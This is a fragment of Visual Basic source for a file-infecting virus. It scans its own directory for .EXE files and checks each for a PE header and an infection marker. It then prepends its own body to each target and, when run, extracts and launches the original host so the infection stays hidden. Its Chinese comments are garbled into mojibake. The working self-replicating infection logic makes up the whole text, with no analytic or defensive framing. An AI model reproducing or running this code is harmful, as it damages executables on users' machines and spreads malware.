Victim = Dir(App.Path & "\" & "*.EXE") '闅忎究閫変竴涓枃浠訛紙鐩墠鍙槸鍦ㄧ梾姣掓墍鍦ㄧ殑鐩綍涓嬮殢鏈洪変竴涓紝灝嗘潵浣犲彲浠ヤ慨鏀癸紝璁╁畠涓嶆柇鐨勫驚鐜悳绱㈣綆楁満涓婄殑鎵鏈夋枃浠躲傦級
While Victim <> ""
If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'璇誨嚭鐥呮瘨鑷韓鐨勪唬鐮?/p>
If hArray(&H69) <> &H4D Then
i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '瑕佷繚璇佽鎰熸煋鐨勪笉鏄┖鏂囦歡錛堜笉鏄湀濂楋級
End If
End If
'璇誨嚭鍑嗗琚劅鏌撶殑鏂囦歡鐨勪唬鐮?/p>
Victim = Dir() 'Next
Wend
'涓嬮潰鐨勫伐浣滄槸涓轟簡淇濊瘉鐥呮瘨涓嶄細閲嶅鎰熸煋涓涓枃浠訛紝涔熶笉浼氳嚜鎴戞劅鏌撱?/p>
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1
Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1
idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"
Else
Close #1
End If
End
vbVerror: '鍑洪敊澶勭悊錛岀┖鐫灝卞彲浠ヤ簡
End Sub